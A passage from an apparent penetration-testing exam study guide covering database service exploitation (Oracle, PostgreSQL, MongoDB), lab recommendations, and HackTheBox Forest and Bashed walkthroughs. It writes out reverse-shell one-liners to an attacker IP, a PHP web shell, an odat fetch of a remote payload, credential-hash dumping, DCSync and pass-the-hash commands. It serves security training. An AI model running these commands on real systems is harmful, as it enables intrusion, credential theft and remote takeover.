sqlplus 'sys/password@10.10.10.50:1521/XE as sysdba'
sqlplus 'system/manager@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP) (HOST=10.10.10.50) (PORT=1521)) (CONNECT_DATA=(SID=ORCL)))'

# odat
odat all -s 10.10.10.50 -p 1521 -d ORCL -U system -P manager
```

9.4.5 Initial Enumeration

```
-- Version
SELECT * FROM v$version;
SELECT banner FROM v$version;

-- Current user
SELECT user FROM dual;
SELECT sys_context('USERENV', 'CURRENT_USER') FROM dual;

-- Schemas / users
SELECT username FROM all_users;
SELECT username FROM dba_users;          -- requires DBA

-- Tables in current schema
SELECT table_name FROM user_tables;
SELECT owner, table_name FROM all_tables;

-- Columns
SELECT column_name FROM user_tab_columns WHERE table_name='USERS';
SELECT column_name FROM all_tab_columns WHERE table_name='USERS';

-- Roles and privileges
SELECT * FROM session_privs;
SELECT * FROM session_roles;
SELECT * FROM dba_role_privs WHERE grantee='SCOTT';

-- Password hashes (DBA only)
SELECT name, password FROM sys.user$;          -- 8i, 9i
SELECT name, spare4 FROM sys.user$;            -- 11g+
```

9.4.6 Command Execution

odat provides modules for various OS command techniques. The classic methods:

Java stored procedures (when DBA has permission):

```

-- Create Java source
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "Cmd" AS
import java.io.*;
public class Cmd {
    public static String exec(String cmd) throws IOException {
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
        StringBuilder sb = new StringBuilder();
        String line;
        while ((line = r.readLine()) != null) sb.append(line).append('\n');
        return sb.toString();
    }
}
/

-- Wrapping function
CREATE OR REPLACE FUNCTION run_cmd(cmd VARCHAR2) RETURN VARCHAR2 AS
LANGUAGE JAVA NAME 'Cmd.exec(java.lang.String) return java.lang.String';
/

-- Execute
SELECT run_cmd('id') FROM dual;

```

DBMS_SCHEDULER (Oracle 10g+):

```

BEGIN
    DBMS_SCHEDULER.create_job(
        job_name => 'evil',
        job_type => 'EXECUTABLE',
        job_action => '/bin/sh',
        number_of_arguments => 2,
        enabled => FALSE,
        auto_drop => TRUE
    );
    DBMS_SCHEDULER.set_job_argument_value('evil', 1, '-c');
    DBMS_SCHEDULER.set_job_argument_value('evil', 2, 'id > /tmp/out');
    DBMS_SCHEDULER.enable('evil');
END;
/

```

odat automation:

```

odat externaltable -s 10.10.10.50 -d ORCL -U system -P manager --exec "/bin/whoami"
odat dbmsxsprocessor -s 10.10.10.50 -d ORCL -U system -P manager --putFile /tmp/shell.sh
odat utlhttp -s 10.10.10.50 -d ORCL -U system -P manager --httpExec http://attacker/payload

```

9.4.7 TNS Listener Attacks

Older Oracle Listeners (pre-11g) had specific vulnerabilities:

- **No password by default** - admin commands could be issued without authentication
- **REGISTER service** - register a fake service to MITM connections
- **STOP** the Listener (DoS)

Modern Oracle has fixed these.

9.5 PostgreSQL (H5)

9.5.1 Discovery and Connection

Default port: TCP/5432.

```

# Discovery
sudo nmap --script pgsql-brute -p 5432 10.10.10.50

# Connect (interactive)
psql -h 10.10.10.50 -U postgres -W
psql -h 10.10.10.50 -U postgres -d postgres

# Connect with one-liner
psql "host=10.10.10.50 user=postgres password=secret dbname=postgres"

# CrackMapExec
nxc postgres 10.10.10.50 -u postgres -p 'Password123!'

```

9.5.2 Initial Enumeration

```

-- Version
SELECT version();

-- Current user
SELECT current_user;
SELECT user;

-- Roles and privileges
\du                                -- psql command
SELECT * FROM pg_roles;
SELECT rolname, rolsuper, rolcreatedb, rolcanlogin FROM pg_roles;

-- Databases
\l
SELECT datname FROM pg_database;

-- Tables
\dt                                -- in current db
SELECT table_schema, table_name FROM information_schema.tables;

-- Connect to another database
\c dbname

```

9.5.3 Command Execution via COPY FROM PROGRAM

Since PostgreSQL 9.3, the `COPY` command supports `PROGRAM`, which executes a shell command. This is restricted to superusers (or users with `pg_execute_server_program` since PG11):

```

-- Create a temporary table
CREATE TABLE cmd_output (output TEXT);

-- Run a command and capture output
COPY cmd_output FROM PROGRAM 'id';
SELECT * FROM cmd_output;
> uid=128(postgres) gid=132(postgres) ...

-- Reverse shell
COPY cmd_output FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"';

-- Cleanup
DROP TABLE cmd_output;

```

The single-line approach:

```

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';
SELECT * FROM cmd_exec;

```

9.5.4 File Operations

```

-- Read a file (requires superuser in modern versions)
CREATE TABLE filedata (content TEXT);
COPY filedata FROM '/etc/passwd';
SELECT * FROM filedata;

-- Write a file
COPY (SELECT '<?php system($_GET["c"]); ?>') TO '/var/www/html/shell.php';

-- Modern PostgreSQL function
SELECT pg_read_file('/etc/passwd', 0, 1000);    -- limit length
SELECT pg_ls_dir('/etc/');

```

9.5.5 Hash Extraction

```

-- Get all roles' password hashes (superuser only)
SELECT rolname, rolpassword FROM pg_authid;

```

Modern PG uses `SCRAM-SHA-256` (the format starts with `SCRAM-SHA-256$`). Older uses MD5 (`md5<32hex>` where the hash is `MD5(password+username)`).

Hashcat modes: - MD5: 12 (PostgreSQL CHALLENGE-RESPONSE) when using the network challenge, or just MD5 with `username` as salt - SCRAM-SHA-256: 28600

9.5.6 UDF Exploitation

When command execution via `COPY FROM PROGRAM` is restricted, UDF (similar to MySQL UDF) is the alternative. Requires writing a `.so` to a directory PostgreSQL will load from. Less commonly used because `COPY FROM PROGRAM` covers most cases.

9.6 Database-Agnostic Findings

The findings worth documenting against any database service, regardless of vendor:

1. **Network-accessible from non-application hosts** - the database should typically be reachable only from application servers, not the broader network or the internet.
2. **Unencrypted transport** - production databases should require TLS for connections.
3. **Default or weak credentials** - particularly the catastrophic ones (`sa:''`, `root:''`, `postgres:postgres`).
4. **Excessive privileges on the application's database account** - the app should not have DBA, superuser, or sysadmin.
5. **File system access** - FILE privilege (MySQL), `xp_cmdshell` (MSSQL), `COPY FROM PROGRAM` (PostgreSQL), Java stored procs (Oracle).
6. **No rate-limiting on auth attempts** - brute-forcable.
7. **Old, unpatched versions** - the version banner alone may indicate exposure to known CVEs.

9.7 NoSQL Databases (Out of Strict Scope but Worth Knowing)

NoSQL databases are not mentioned by name in Appendix H but the underlying concepts (network-accessible data stores) are. The major ones:

9.7.1 MongoDB

Default port: TCP/27017. Older versions (pre-3.6) bound to all interfaces with no authentication by default - leading to numerous public-internet exposures.

```
# Discovery
sudo nmap --script mongodb-info,mongodb-databases -p 27017 10.10.10.50

# Connection
mongo --host 10.10.10.50
mongo --host 10.10.10.50 --port 27017

# Or with mongosh (modern)
mongosh "mongodb://10.10.10.50:27017"

# In the shell:
> show dbs
> use admin
> db.system.users.find()
> use somedatabase
> show collections
> db.users.find()
```

NoSQL injection in MongoDB-backed web apps:

```
// Vulnerable login
{ "username": req.body.user, "password": req.body.pass }

// Attacker payload (bypasses)
{ "username": "admin", "password": { "$ne": null } }
{ "username": "admin", "password": { "$gt": "" } }

// In URL form (when JSON params are accepted)
?username[$ne]=null&password[$ne]=null
?username[$regex]=^a
```

9.7.2 Redis

Default port: TCP/6379. By default binds to all interfaces with no authentication. Already covered in section 7.5.4.

9.7.3 Elasticsearch

Default port: TCP/9200. By default binds to localhost only in modern versions; older versions bound to all.

```
curl http://10.10.10.50:9200/           # version
curl http://10.10.10.50:9200/_cat/indices # list indices
curl http://10.10.10.50:9200/_search?size=10000 # all docs
curl http://10.10.10.50:9200/_index/_search # specific index
```

Older Elasticsearch (1.x, pre-2014) had Groovy scripting RCE (CVE-2014-3120, 2015-1427).

9.7.4 Memcached

Default port: TCP/11211 (and UDP/11211). No authentication by default.

```
echo "stats" | nc -nv 10.10.10.50 11211
echo "stats items" | nc -nv 10.10.10.50 11211
```

Predominantly an information disclosure / DoS amplification source rather than an RCE vector.

9.8 Section Summary

Database assessment requires:

1. Recognising database services from port profile (1433 MSSQL, 3306 MySQL, 1521 Oracle, 5432 PostgreSQL, 27017 MongoDB, 6379 Redis, 9200 Elasticsearch)
2. Testing for default and empty credentials with the appropriate brute-force tool
3. Initial enumeration in each DBMS's syntax (version, current user, databases, tables, privileges)
4. Knowing the OS command vector for each:
 - MSSQL: `xp_cmdshell` (or `sp_OACreate`)
 - MySQL: FILE privilege + `INTO OUTFILE` to web root, or UDF
 - PostgreSQL: `COPY FROM PROGRAM`
 - Oracle: Java stored procedures or `DBMS_SCHEDULER`
5. Capturing NetNTLMv2 hashes via UNC path tricks (especially MSSQL `xp_dirtree`)
6. Extracting hashes for offline cracking

Database services are often the most valuable lateral movement target on a network because (a) they hold the application's data, (b) they often run with high privilege, and (c) credentials in connection strings on application servers leak the database creds.

The next chapters cover hands-on lab recommendations (HackTheBox, TryHackMe), exam strategy, and the appendices.

Part 10: HackTheBox and TryHackMe Walkthroughs Mapped to Syllabus Areas

The CRT exam tests practical skills under time pressure. Practising on labs is the single most effective preparation. This chapter maps specific HackTheBox (HTB) and TryHackMe (THM) machines/rooms to each syllabus area, so candidates can build a targeted study plan rather than working through random boxes.

The recommendations are limited to **easy** and selected **medium** difficulty boxes. The CRT is not pitched at the difficulty of HTB Insane boxes - it tests core competencies under time pressure, not exotic exploitation. A candidate who comfortably completes 30-40 easy/medium boxes is well-prepared.

A note on legality and ethics: only practise on platforms that authorise it (HTB, THM, OffSec PG, VulnHub running in your own VM). Never test techniques on systems you do not own or have explicit permission to test.

10.1 Recommended Learning Paths

10.1.1 HackTheBox CPTS / CRT Track

HackTheBox publishes a “Penetration Tester” Job Role Path that aligns well with CRT subject matter. Specifically relevant modules:

- **Network Enumeration with Nmap** - covers Appendix A and parts of B
- **Footprinting** - service-specific enumeration covering Appendix D
- **Information Gathering - Web Edition** - early parts of Appendix G
- **Vulnerability Assessment** - assessment methodology
- **File Transfers** - moving files to/from compromised hosts (covered in chapter 4 of this book)
- **Shells & Payloads** - reverse shell catalogue
- **Using the Metasploit Framework** - tool fluency
- **Password Attacks** - chapter 7 + 8 material
- **Active Directory Enumeration & Attacks** - chapter 6 material
- **Pivoting, Tunneling, and Port Forwarding** - chapter 4 of this book
- **Privilege Escalation** - both Windows and Linux

The path requires an HTB Academy subscription. The “Easy” and “Medium” tier boxes referenced below are accessible with a free HTB membership (with monthly rotation) or the paid VIP tier (full archive).

10.1.2 TryHackMe Junior Penetration Tester / Pre-Security

THM’s free tier covers the foundational rooms. The “Junior Penetration Tester” learning path covers approximately 75% of CRT material at appropriate difficulty:

- Pre-Security path - basic networking, Linux fundamentals
- Cyber Security 101 - core concepts
- Penetration Testing Fundamentals
- Network Security
- **Junior Penetration Tester path** - the directly relevant one

THM’s strength is curated, guided learning. HTB’s strength is realistic, less-guided machines. Use both: THM to learn techniques, HTB to apply them.

10.1.3 OffSec Proving Grounds (PG)

PG is OffSec’s lab platform. Boxes are categorised as “Play” (free, OSCP-style) and “Practice” (paid, similar). The boxes are exam-realistic in style: less guided than THM, more “OSCP-flavour” than HTB. CRT candidates with OSCP experience will recognise the style.

For CRT preparation, OSCP-style boxes are if anything slightly *harder* than the CRT. Comfortable PG performance translates to CRT success.

10.2 Box Recommendations by Syllabus Area

10.2.1 Reconnaissance and Enumeration (Appendix B)

These boxes emphasise the discovery phase: zone transfers, vhost discovery, web enumeration.

Box	Platform	Difficulty	Key skills
Lame	HTB	Easy	Service enumeration, exploiting old daemons (Samba 3.x). The “first box” most testers do.
Bashed	HTB	Easy	Web reconnaissance, finding hidden directories, basic privesc.
Networked	HTB	Easy	Web upload bypass, IPv4 manipulation, sudo misuse.
Cap	HTB	Easy	Web IDOR, sniffing FTP credentials from PCAP, capability privesc.
Photographer	THM	Easy	binwalk on uploaded images, koken CMS exploit, sudo php.
Bounty Hunter	THM	Easy	XXE injection, password cracking, privesc via sudo + tic.
Mr Robot	THM	Medium	Robots.txt enumeration, WordPress brute force, nmap UDP.
OhSINT	THM	Easy	Pure OSINT - image metadata, GPS coordinates, Twitter/GitHub recon.

Practice priorities: directory brute-forcing with `ffuf` / `feroxbuster`, vhost discovery, identifying hidden parameters, reading `robots.txt` and `sitemap.xml` for hints.

10.2.2 Networks (Appendix C)

These boxes require pivoting through multiple network segments, traffic analysis, or service-level exploitation.

Box	Platform	Difficulty	Key skills
Cap	HTB	Easy	PCAP analysis, FTP credential extraction.
Reel	HTB	Hard	(For pivoting practice) Phishing + AD pivoting.
Active	HTB	Easy	SMB enumeration, GPP password recovery, Kerberoasting.
Forest	HTB	Easy	AD enumeration, AS-REP roasting, DCSync via WriteDacl.
Postman	HTB	Easy	Redis exploitation, SSH key cracking, Webmin RCE.
Sauna	HTB	Easy	LDAP enum, AS-REP roasting, AutoLogon credentials.
Pivoting	THM	Medium	Pure pivoting practice: chisel, sshuttle.
Wreath	THM	Medium-Hard	Multi-host pivoting through three networks.

Practice priorities: SSH dynamic port forwarding, chisel, ligolo-ng, traffic capture in Wireshark, Responder + ntlmrelayx workflow.

10.2.3 Network Services (Appendix D)

The services in Appendix D are diverse; these boxes hit the major ones.

Box	Platform	Difficulty	Key skills tested
Lame	HTB	Easy	SMB (Samba 3.0.20 RCE - usermap_script)
Beep	HTB	Easy	LFI on Elastix, multiple vectors
Devel	HTB	Easy	Anonymous FTP write + IIS aspx execution
Optimum	HTB	Easy	HTTPFileServer 2.3 RCE (CVE-2014-6287)
Granny	HTB	Easy	IIS WebDAV PUT method exploitation
Grandpa	HTB	Easy	IIS WebDAV (variant of Granny)
Bastard	HTB	Medium	Drupal 7 Drupalgeddon2
Nibbles	HTB	Easy	NibbleBlog 4.0.3 RCE via authenticated upload
Vaccine	HTB	Easy	FTP credentials, SQLi, sudo vi escape
Oopsie	HTB	Easy	IDOR, file upload via cookie, PATH hijacking

Practice priorities: identify each service's default port, default credentials, and the tools that enumerate/exploit it. Build a “first 5 commands” muscle memory for each major service.

10.2.4 Windows / Active Directory (Appendix E)

The most important category by mark count for many exam attempts.

Box	Platform	Difficulty	Key skills tested
Forest	HTB	Easy	AD enum, AS-REP roasting, DCSync via WriteDacl ACL abuse
Active	HTB	Easy	Anonymous SMB share, GPP password recovery, Kerberoasting
Sauna	HTB	Easy	LDAP enumeration, AS-REP roasting, AutoLogon, DCSync
Resolute	HTB	Medium	Default password in description, password spraying, DnsAdmins privesc
Cascade	HTB	Medium	Reading LDAP descriptions, decrypting custom passwords, AD recycle bin abuse
Monteverde	HTB	Medium	Azure AD Connect credential extraction
Blackfield	HTB	Hard	(Worth attempting) NTLM relay, ACL abuse for privesc
Attacktive Directory	THM	Medium	Comprehensive AD attack chain (kerbrute, GetNPUsers, secretsdump)
Holo	THM	Hard (network)	Multi-machine AD network, full kill chain
Heist	HTB	Easy	Cisco config password decryption, RID cycle, NTLM hash spraying

Practice priorities: full AD attack chain - enum (windapsearch/nxc) -> password spray (kerbrute) -> Kerberoast/AS-REP roast (impacket) -> hash crack (hashcat) -> lateral movement (evil-winrm/wmiexec) -> credential dump (secretsdump/mimikatz) -> DCSync.

10.2.5 Windows Privilege Escalation (Appendix E)

Box	Platform	Difficulty	Key skills tested
Devel	HTB	Easy	Kernel exploit (MS11-046 / MS14-058)
Granny	HTB	Easy	Kernel exploit
Optimum	HTB	Easy	MS16-098
Jeeves	HTB	Medium	KeePass password file, token impersonation
Bastard	HTB	Medium	MS15-051
Arctic	HTB	Easy	ColdFusion + MS10-059
Bounty	HTB	Easy	IIS file extension bypass, MS10-059 (Chimichurri)
ServMon	HTB	Easy	NSClient++ web admin, password reuse
Steel Mountain	THM	Easy	HFS RCE + WinPEAS findings
Relevant	THM	Medium	EternalBlue or SMB null session, SeImpersonatePrivilege (Juicy Potato)

Practice priorities: WinPEAS interpretation, identifying SeImpersonatePrivilege and choosing the right Potato, registry-based privesc, AlwaysInstallElevated, weak service paths.

10.2.6 Linux/UNIX (Appendix F)

Box	Platform	Difficulty	Key skills tested
Lame	HTB	Easy	Samba RCE -> root
Shocker	HTB	Easy	Shellshock + sudo perl misuse
Sense	HTB	Easy	pfSense web interface CVE
Beep	HTB	Easy	Multiple paths; Elastix LFI
Mirai	HTB	Easy	Pi-hole default creds, USB image recovery
Valentine	HTB	Easy	Heartbleed -> SSH key, tmux session takeover
Sunday	HTB	Easy	Solaris finger, hash cracking
FriendZone	HTB	Easy	DNS zone transfer, NFS share, LFI -> RCE
Irked	HTB	Easy	UnrealIRCd backdoor, steghide privesc
Lazy	HTB	Easy	Padding oracle attack, SSH key
Postman	HTB	Easy	Redis SSH key write
Networked	HTB	Easy	File upload, sudo PATH hijack
Linux PrivEsc	THM	Easy	Comprehensive privesc room (cron, suid, sudo)
Common Linux PrivEsc	THM	Easy	Same
Linux PrivEsc Arena	THM	Medium	More advanced privesc paths

Practice priorities: GTFOBins memorisation (or fluent lookup), SUID binary identification, capability identification, cron job analysis with writable scripts, NFS no_root_squash, kernel exploit identification when nothing else works.

10.2.7 Web Application (Appendix G)

The web app appendix (G) covers 23 skill areas, more than any other. Practise extensively here.

10.2.7.1 Reconnaissance and General Web

Box	Platform	Difficulty	Key skills tested
Bashed	HTB	Easy	Comprehensive web enum, hidden phpbash shell
Sense	HTB	Easy	Web enum -> credentials
Networked	HTB	Easy	File upload bypass
Bounty	HTB	Easy	IIS web.config bypass for ASP execution
Beep	HTB	Easy	Multi-vector web (LFI, default creds)

10.2.7.2 SQL Injection Specific

Box	Platform	Difficulty	Key skills tested
Falafel	HTB	Medium	SQLi (with WAF bypass), file inclusion
Vaccine	HTB	Easy	SQLi via login + sudo escape
OOPS!	HTB	(Discontinued)	SQLi practice
SQL Injection Lab	THM	Easy	SQLi room with hints
SQL Injection	THM	Medium	Comprehensive practice
SQHell	THM	Easy	Various SQLi techniques

PortSwigger Web Security Academy's SQL injection labs are the gold standard. Each lab targets a specific technique:

- “SQL injection vulnerability allowing login bypass” - basic auth bypass
- “SQL injection UNION attack, determining the number of columns” - UNION-based
- “SQL injection UNION attack, retrieving multiple values” - data exfiltration
- “Blind SQL injection with conditional responses” - boolean-based
- “Blind SQL injection with time delays” - time-based
- “Blind SQL injection with out-of-band interaction” - OOB exfiltration

Working through all PortSwigger SQL injection labs is the single best preparation for SQLi questions in the exam.

10.2.7.3 Command Injection / File Upload

Box	Platform	Difficulty	Key skills tested
Bashed	HTB	Easy	Discoverable shell, command exec
Networked	HTB	Easy	File upload bypass to PHP RCE
Magic	HTB	Medium	SQLi + file upload bypass + privesc chain
File Inclusion	THM	Easy	LFI/RFI practice room
Upload Vulnerabilities	THM	Easy	Comprehensive upload bypass room

10.2.7.4 Authentication and Session Management

Box	Platform	Difficulty	Key skills tested
OAuth Vulns	THM	Medium	OAuth2 misconfiguration
Cookie Monster	THM	Easy	Cookie manipulation
Inclusion	THM	Easy	LFI + log poisoning
Vulniversity	THM	Easy	Directory brute, file upload, privesc
OWASP Top 10	THM	Easy	All major web vulns

10.2.7.5 Comprehensive Web Boxes

Box	Platform	Difficulty	Key skills tested
Cronos	HTB	Medium	DNS zone transfer, SQLi auth bypass, command injection, cron privesc
Knife	HTB	Easy	PHP development version backdoor (CVE-2019-11043), sudo knife exploit
Doctor	HTB	Easy	SSTI in Flask, Splunk universal forwarder privesc
Time	HTB	Medium	JSON deserialization in Jackson, cron writable script
Pikaboo	HTB	Hard	LFI, log poisoning, complex privesc

10.2.8 Database Services (Appendix H)

Direct database service exploitation is less common than SQLi-fed exploitation but boxes that feature it:

Box	Platform	Difficulty	Key skills tested
Mantis	HTB	Hard	MSSQL, SPN with weak password, named pipes
Querier	HTB	Medium	MSSQL with anon access, NTLMv2 capture, SQL credential reuse
Silo	HTB	Medium	Oracle TNS, ODAT, file upload via Oracle
Postman	HTB	Easy	Redis no-auth SSH key write
Mirai	HTB	Easy	Default creds on Pi-hole
Heist	HTB	Easy	Cisco config password decryption (different but database-flavoured)
Magic	HTB	Medium	MySQL credentials in source, SQLi + UDF abuse

10.2.9 Exam Practice (Comprehensive Boxes)

These boxes cover multiple syllabus areas and are good final practice:

Box	Platform	Difficulty	Key skills tested
Active	HTB	Easy	Full AD attack chain
Forest	HTB	Easy	Full AD attack chain (alternate)
Sauna	HTB	Easy	Full AD attack chain (alternate)
Cascade	HTB	Medium	AD with custom decryption
Resolute	HTB	Medium	AD with DnsAdmins privesc
Heist	HTB	Easy	Linux + Windows + AD
Optimum	HTB	Easy	Full Windows path
Jeeves	HTB	Medium	Windows with KeePass + token impersonation
Devel	HTB	Easy	Windows file upload + kernel exploit
Lame	HTB	Easy	The classic first box

10.3 PortSwigger Web Security Academy

PortSwigger publishes free labs covering every major web vulnerability class. They are organised by topic and difficulty. Recommended track for CRT preparation:

10.3.1 Apprentice (Foundation)

Complete every Apprentice lab in:

- SQL injection (5 labs)
- Cross-site scripting (10 labs)
- CSRF (1 lab)
- Authentication (5 labs)
- Path traversal (1 lab)
- OS command injection (2 labs)
- Access control (5 labs)
- File upload vulnerabilities (3 labs)
- SSRF (2 labs)
- XXE (3 labs)

This is roughly 35-40 labs. They take 5-15 minutes each once you understand the technique. Total: ~10-15 hours.

10.3.2 Practitioner (Intermediate)

The Practitioner labs are exam-realistic difficulty:

- SQL injection - 8 additional Practitioner labs (UNION, blind, time-based, second-order)
- XSS - 15 Practitioner labs (filter bypass)
- Authentication - 9 Practitioner labs
- Access control - 8 Practitioner labs
- Server-side template injection - 5 labs
- HTTP Host header attacks - 6 labs
- File upload - 3 Practitioner labs
- JWT - 4 labs

Working through a substantial fraction of these is the single best preparation for the CRT web app section.

10.3.3 Expert

Expert labs are beyond CRT difficulty. Skip unless attempting CCT or HTB CWEE.

10.4 VulnHub

VulnHub hosts downloadable vulnerable VMs you run in your own lab. Not as polished as HTB/THM but valuable for offline practice and replay. Recommended:

VM	Difficulty	Theme
basic-pentesting-1	Easy	First-time practice
Mr-Robot	Easy-Medium	Mirrors the HTB room
Kioptrix series (1-5)	Easy	Classic Linux
DC series (1-9)	Easy-Medium	Variety of techniques
HackTheBox-style starter VMs	Easy	Various
HackInOS	Medium	LFI, file upload, container escape
Symfonos series	Easy-Medium	Linux focus
Hackable series	Easy	Various

The OSCP-style “OSCP-Like List” maintained by various users on TJNull’s GitHub is a curated list of HTB and VulnHub boxes that approximate OSCP exam difficulty - relevant to CRT preparation as a similar-difficulty corpus.

10.5 A 4-Week Practice Schedule

Combining the recommendations above into an executable schedule:

Week 1: Foundations and Linux

- Day 1-2: HTB Lame, Bashed (Linux easy)
- Day 3: HTB Shocker, Sense
- Day 4: HTB Mirai, Valentine
- Day 5: HTB Beep, Networked
- Day 6: PortSwigger Apprentice SQL injection labs (5 labs)
- Day 7: Review notes, write up findings

Week 2: Windows Standalone

- Day 1: HTB Devel, Optimum
- Day 2: HTB Granny, Grandpa, Bounty
- Day 3: HTB Arctic, Jeeves
- Day 4: HTB Heist
- Day 5: PortSwigger Apprentice XSS + auth labs (15 labs)
- Day 6-7: Catch up + start AD

Week 3: Active Directory

- Day 1-2: HTB Forest (full attack chain practice)
- Day 3: HTB Active
- Day 4: HTB Sauna
- Day 5: THM Attacktive Directory
- Day 6: HTB Resolute
- Day 7: Review BloodHound queries, GetNPUsers, secretsdump usage

Week 4: Web App + Mock Exam

- Day 1-2: PortSwigger Practitioner SQL injection (8 labs)
- Day 3: PortSwigger SSRF + file upload labs
- Day 4: HTB Magic (web + privesc)
- Day 5: HTB Knife (PHP + sudo)
- Day 6: Mock exam - 2.5 hours (plus 15 min reading), small multi-host scope inside the official CRT AMI
- Day 7: Final review, rest before exam

This is intentionally aggressive. A more comfortable pace doubles the duration. Adjust to your existing experience level.

10.6 Box-by-Box Walkthrough: HTB Forest (Easy AD Box)

Forest is the canonical “easy AD” box and worth a worked example because it covers ~70% of the AD techniques the CRT tests.

10.6.1 Initial Scan

```
sudo nmap -sCV -p- --min-rate 5000 -T4 10.10.10.161 -oN nmap.full
```

Open ports include:

- TCP/53 (DNS)
- TCP/88 (Kerberos)
- TCP/135 (RPC)
- TCP/139, 445 (SMB)
- TCP/389, 636, 3268, 3269 (LDAP, LDAPS, Global Catalog)
- TCP/464 (kpasswd)
- TCP/593 (RPC over HTTP)
- TCP/5985 (WinRM)
- High ports for RPC

This port profile screams “Domain Controller”. The smb-os-discovery script confirms `htb.local` as the domain.

10.6.2 SMB Null Session Enumeration

```
nxc smb 10.10.10.161 -u '' -p '' --users
nxc smb 10.10.10.161 -u 'guest' -p '' --users

# Or with rpcclient
rpcclient -U "" -N 10.10.10.161
rpcclient $> enumdomusers
rpcclient $> enumdomgroups
rpcclient $> querydomaininfo
```

The user enumeration returns several accounts. Most relevant: `svc-alfresco`.

10.6.3 AS-REP Roasting

The standard next step on AD: try AS-REP roasting against all enumerated users. Some account is likely to have `DONT_REQ_PREAUTH` set:

```
impacket-GetNPUsers htb.local/ -dc-ip 10.10.10.161 -usersfile users.txt -no-pass -format hashcat -outputfile asrep.txt

# users.txt is the list extracted from rpcclient enumdomusers
```

The output reveals a hash for `svc-alfresco`:

```
$krb5asrep$23$svc-alfresco@HTB.LOCAL:34a1b...long string...
```

10.6.4 Cracking the Hash

```
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
```

Cracks quickly to: `s3rvice`.

10.6.5 Initial Foothold via WinRM

```
evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice
```

Drop into a PowerShell session as `svc-alfresco`.

10.6.6 BloodHound Collection

```
bloodhound-python -u svc-alfresco -p s3rvice -d htb.local -ns 10.10.10.161 -c All

# This produces JSON files that you import into BloodHound GUI
```

In BloodHound:

1. Mark `svc-alfresco@htb.local` as Owned
2. Run “Find Shortest Paths from Owned to Domain Admins”

The path: `svc-alfresco -> Service Accounts (group) -> Privileged IT Accounts (group) -> Account Operators (group) -> WriteDacl on htb.local -> Domain Admins`

10.6.7 Exploiting WriteDacl via DCSync

The path tells you that `svc-alfresco` (via group nesting) has `WriteDacl` on the domain itself. With WriteDacl on the domain, you can grant yourself DCSync rights, then dump all hashes:


```
# As svc-alfresco in the WinRM session, create a new user (you can because of Account Operators)
PS> net user attacker Password123! /add /domain
PS> net group "Exchange Windows Permissions" attacker /add

# Or directly grant yourself replication rights (PowerView)
PS> Import-Module .\PowerView.ps1
PS> $pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS> $cred = New-Object System.Management.Automation.PSCredential('htb\attacker', $pass)
PS> Add-DomainObjectAcl -Credential $cred -TargetIdentity 'DC=htb,DC=local' -PrincipalIdentity attacker -Rights DCSync
```

Or the more reliable approach, escape to your Linux host and use Impacket directly with the credentials:

```
# Add DCSync rights via dcladit
impacket-dacledit -action write -rights DCSync -principal attacker -target-dn 'DC=htb,DC=local' htb.local/svc-alfresco:svc-alfresco/
dc-ip 10.10.10.161
```

Then dump all hashes:

```
impacket-secretsdump -just-dc-user Administrator htb.local/attacker:'Password123!'@10.10.10.161
```

Output:

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
```

10.6.8 Final: Pass the Hash

```
evil-winrm -i 10.10.10.161 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6
```

Drop into a SYSTEM-equivalent shell as the domain Administrator.

10.6.9 What Forest Teaches You

This single box exercises:

1. SMB null session enumeration
2. RID cycling / user enumeration via rpcclient
3. AS-REP roasting (impacket-GetNPUsers)
4. Hashcat with mode 18200
5. WinRM session establishment (evil-winrm)
6. BloodHound data collection (bloodhound-python)
7. Attack path analysis in BloodHound GUI
8. ACL abuse for privilege escalation
9. DCSync via secretsdump
10. Pass-the-hash with NTLM hash

Almost the entire AD enumeration -> domain admin chain in 30-60 minutes. If you can complete this comfortably from memory, you are well-prepared for AD content on the CRT.

10.7 Box-by-Box Walkthrough: HTB Bashed (Easy Linux Web)

Bashed is a worked example of typical CRT-style web -> Linux progression.

10.7.1 Initial Scan

```
sudo nmap -sCV -p- --min-rate 5000 -T4 10.10.10.68
```

Only TCP/80 open. Apache 2.4.18.

10.7.2 Web Enumeration

Browse to <http://10.10.10.68/> - a blog page about “phpbash”.

Run a directory brute force:

```
ffuf -u http://10.10.10.68/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,403
```

Discovers `/dev/`. Browse there - directory listing showing two PHP files: `phpbash.php` and `phpbash.min.php`.

10.7.3 Initial Foothold

`/dev/phpbash.php` is exactly what it sounds like - a web shell already on the box. Browse to it:

```
http://10.10.10.68/dev/phpbash.php
```

Web-based shell as `www-data`.

10.7.4 Stabilising the Shell

The phpbash interface is awkward. Get a proper reverse shell:

```
# In phpbash, run:
bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'

# On attacker:
nc -lvp 4444
```

Stabilise:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z to background
# On local: stty raw -echo; fg
# Press enter twice
export TERM=xterm-256color
stty rows 40 cols 120
```

10.7.5 Privilege Escalation Step 1: www-data to scriptmanager

`sudo -l` reveals:

```
User www-data may run the following commands on host:
(scriptmanager : scriptmanager) NOPASSWD: ALL
```

So `www-data` can run anything as `scriptmanager` without password. Switch user:

```
sudo -u scriptmanager bash -i
```

Now `whoami` -> `scriptmanager`.

10.7.6 Privilege Escalation Step 2: scriptmanager to root

Look around as `scriptmanager`:

```
ls -la /scripts/
> -rwxrwxrwx 1 scriptmanager scriptmanager 58 Dec  4 2017 test.py
> -rw-r--r-- 1 root          root          12 Apr 26 09:01 test.txt
```

`test.py` is owned by scriptmanager but `test.txt` is owned by root. The natural inference: `test.py` is run by root periodically, and writes to `test.txt`.

Confirm by reading `test.py`:

```
f = open("test.txt", "w")
f.write("testing 123!")
f.close
```

Verify the timestamp on `test.txt`:

```
stat /scripts/test.txt
> Modify: 2025-04-26 09:01:00
# Wait a minute, check again - it changes -> cron is running it
```

